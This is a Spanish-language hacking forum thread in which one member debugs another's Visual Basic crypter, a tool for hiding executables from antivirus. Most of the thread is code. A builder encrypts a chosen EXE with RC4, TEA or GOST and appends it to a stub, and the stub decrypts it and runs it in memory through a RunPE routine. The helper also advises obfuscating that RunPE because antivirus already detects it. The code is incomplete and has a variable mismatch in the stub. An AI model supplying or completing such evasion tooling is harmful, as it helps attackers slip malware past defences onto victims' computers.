[SOLUCIONADO] Problema con crypter.

Iniciado por elbate, Septiembre 02, 2012, 04:03:24 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 02, 2012, 04:03:24 PM Ultima modificación: Febrero 20, 2014, 06:38:35 PM por Expermicid
Hola , Mediante un tuto cree mi crypter y le  agrege algunas forma de encryptacion y un nuevo Runpe. Lo que sucede es que compilo el crypter y el stub sin problemas , encripto un anotador y al momento de abrirlo me sale este error:
Stub
Error  "13" en tiempo de ejecucion:
No coinciden los tipos
Ya revice el crypter y el stub pero lo veo todo bien , no encuentro la falla
Gracias

el error '13' suele ser que colocaste o bien el runpe mal o la encriptación no lo puedo saber si no publicas tu código...
Publica el code del crypter y yo me encargaré de mirartelo pues.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Septiembre 03, 2012, 08:24:28 PM #2 Ultima modificación: Septiembre 04, 2012, 04:39:05 PM por Sanko
Bueno ya mire la code que me pasaste por privado.
Tienes un jaleo de strings... , das name a una string y al darle remplace (porque el src es de un tutorial) debes cambiar ciertas cosas del code y antes de mirar detalle a detalle es mejor reconstruir de 0 xd.
Aparte estas usando un stub interno que para modding es mucho más complicado para el user que lo moddea y sobretodo cuando no tiene mucha idea acerca del tema , es mejor que separes tu stub y mandes al crypter leerlo como binario.

Asi que te he cambiado ciertas partes del code y he puesto aclaraciones a cada lado y respetanto tu change icon y tu generador en md5 claro.
Asi que aqui te escribo : examinar , encriptar y stub.

Examinar :

Código: vb
With CD ' Abrimos el CommonDialog
.DialogTitle = " Seleccione el archivo a encriptar " ' esto es para que te salga el nombre de la ventanita
.Filter = "Aplicaciones EXE|*.exe" ' esto solo para poder elegir archivos EXE
.ShowOpen ' para que se abra la ventana de búsqueda
End With ' finalizamos CommonDialog
If Dir(CD.Filename) = vbNullString Then Exit Sub ' Si no hay ruta , saltara error
Text1.Text = CD.Filename ' para que se quede la ruta grabada en el Text1.text


Encriptar :

Código: vb
Dim Stub As String ' Señalamos la palabra stub como String , no tiene que ser siempre esa palabra
If Text1.Text = vbNullString Then ' Si no hay nada , dira que no esta presente
    MsgBox "El Archivo no esta presente", vbInformation, Me.Caption
    Exit Sub ' Salimos
End If ' Y cerramos la condicional if

With CD ' Abrimos commonDialog
    .DialogTitle = "Seleccione la ruta donde desea guardar el Archivo"
    .Filter = "Aplicaciones EXE|*.exe" 'Solo .exe
    .ShowSave ' Ventana de guardado
End With

Open App.Path & "\" & "Stub.exe" For Binary As #1 ' Abrimos el que sera el Stub.exe
    Stub = Space(LOF(1)) ' Lo abrimos en Binario
    Get #1,  , Stub ' Vamos a el
Close #1 ' Cerramos Binario


If Check2.Value = 1 Then
Call ChangeIcon(App.Path & "\Stub.exe", Text3.Text) 'utilizo la funcion changeico con la ruta del stub y del icono a ponerle
End If

Dim EOF As String ' Declaramos EOF como string
If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text) ' Si pulsamos check1 se leera el file para saber si es necesario escribir eof
Dim BIN As String ' Marcamos bin como string
Open Text1.Text For Binary As #1 ' abrimos el contenido o ruta de text1 en binario
    BIN = Space(LOF(1)) ' indicamos
    Get #1, , BIN ' vamos al binario del archivo
Close #1 ' cerramos el binario

Dim RC4 As New clsRC4, Tea As New clsTea, Gost As New clsGost' Indicamos las clases correspondientes al nombre
Dim Encriptacion As String ' declaramos la palabra encriptación como string

If Option1.Value = True Then ' Si la opcion 1 es elejida...
    BIN = RC4.EncryptString(BIN, Text2.Text) ' Se encripta la clave de text2 con rc4
    Encriptacion = "RC4" ' declarando la encriptacion como RC4
End If ' cerramos condicional´

If Option2.Value = True Then ' Si se elije la opción 2
    BIN = Tea.EncryptString(BIN, Text2.Text) ' se encripta la clave del text2 en tea
    Encriptacion = "Tea" ' indicamos que Teaes el tipo de encriptacion
End If ' cerramos condicional

If Option3.Value = True Then ' Si se elije la opción 3
    BIN = Gost.EncryptString(BIN, Text2.Text) ' se encripta la clave del text2 en gost
    Encriptacion = "Gost" ' indicamos que Gost es el tipo de encriptacion
End If ' cerramos condicional

Dim Datos As String ' indicamos los datos como string

Datos = Stub & "[DELIMITADOR]" & BIN & "[DELIMITADOR]" & Encriptacion & "[DELIMITADOR]" & Text2.Text & "[DELIMITADOR]" ' detras de cada 'funcion ponemos el delimitador para separar

If Check1.Value = 1 Then Call WriteEOFData(CD.Filename, EOF) ' si seleccionamos el check1 el EOF se escribe

Open CD.Filename For Binary As #1 ' Abrimos la ruta del CD en binario
    Put #1, , Datos & "CorecciondeCode" ' Ponemos los datos en binario con un segundo delimitador
Close #1 ' cerramos binario
MsgBox " encriptado correctamente " ' Hacemos que salga un mensaje informando de que se encripto corr nuestro archivo
End Sub ' Finalizamos


Stub : (Ahora externo)

Código: vb
Dim TutorialSplit() As String ' marcamos string
TutorialSplit() = Split(Datos, "[DELIMITADOR]") ' damos split e indicamos el delimitador de antes

Dim RC4 As New clsRC4, Tea As New clsTea, Gost As New clsGost' Indicamos las clases correspondientes al nombre

If TutorialSplit(2) = "RC4" Then ' si el "TutorialSplit(2) es igual a la encriptacion RC4
    TutorialSplit(1) = RC4.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' el rc4 desencripta lo cifrado en el cliente
End If ' cerramos condicional

If TutorialSplit(2) = "Tea" Then ' Indicamos Tea como tipo de encriptacion
    TutorialSplit(1) = Tea.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' desencriptamos con tea el código cifrado
End If ' cerramos condicional

If TutorialSplit(2) = "Gost" Then ' Indicamos gost como tipo de encriptacion
    TutorialSplit(1) = Gost.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' desencriptamos con gost el código cifrado
End If ' cerramos condicional

Dim byteDatos() As Byte ' Indicamos Datos como Byte
    byteDatos() = StrConv(TutorialSplit(1), vbFromUnicode)

Call NSRVJUF(App.Path & "\" & App.EXEName & ".exe", xDatos(), Command) ' llamamos al runPE , en tu caso NSRVJUF , pero deberias buscarte
' otro runPE o ofuscar un poquito este que esta quemao, muy quemao.


Espero haberte ayudado pues , ya he testeado cambiando el code en tu src y rula perfecto , 0 fallos.
Daré como solucionado el tema , si te surje otra duda solo tienes que revivir el post comentando de nuevo.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Datosdephptools me dice que no es valido :S

Correjido , puse datosphptools cuando arriba declare Datos como string , asi que sustituyelo por Datos.
AUn asi ya he correjido el code.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD